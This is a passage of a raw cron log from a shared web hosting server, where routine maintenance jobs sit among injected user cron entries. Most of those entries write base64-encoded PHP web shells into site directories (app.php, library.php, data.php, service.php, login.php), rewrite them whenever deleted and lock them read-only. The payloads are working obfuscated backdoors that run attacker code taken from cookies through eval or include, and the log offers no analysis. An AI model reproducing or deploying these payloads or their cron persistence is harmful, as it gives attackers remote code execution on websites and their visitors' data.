"$fp")
Mar  1 05:36:01 medusa CROND[20256]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:36:01 medusa CROND[20263]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 05:37:02 medusa CROND[11808]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 05:37:02 medusa CROND[11827]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:37:02 medusa CROND[11828]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:37:02 medusa CROND[11831]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:37:02 medusa CROND[11830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:37:02 medusa CROND[11832]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:37:02 medusa CROND[11833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:37:02 medusa CROND[11834]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:37:02 medusa CROND[11837]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:37:02 medusa CROND[11841]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 05:37:02 medusa CROND[11840]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:37:02 medusa CROND[11844]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:37:02 medusa CROND[11847]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:38:01 medusa CROND[3243]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 05:38:01 medusa CROND[3244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 05:38:01 medusa CROND[3245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 05:38:01 medusa CROND[3246]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 05:38:01 medusa CROND[3247]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:38:01 medusa CROND[3249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:38:01 medusa CROND[3251]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 05:38:01 medusa CROND[3261]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 05:38:01 medusa CROND[3262]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:38:01 medusa CROND[3263]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 05:38:01 medusa CROND[3265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 05:38:01 medusa CROND[3268]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:38:01 medusa CROND[3273]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 05:39:01 medusa CROND[26897]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 05:39:02 medusa CROND[27037]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 05:39:02 medusa CROND[27038]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3ls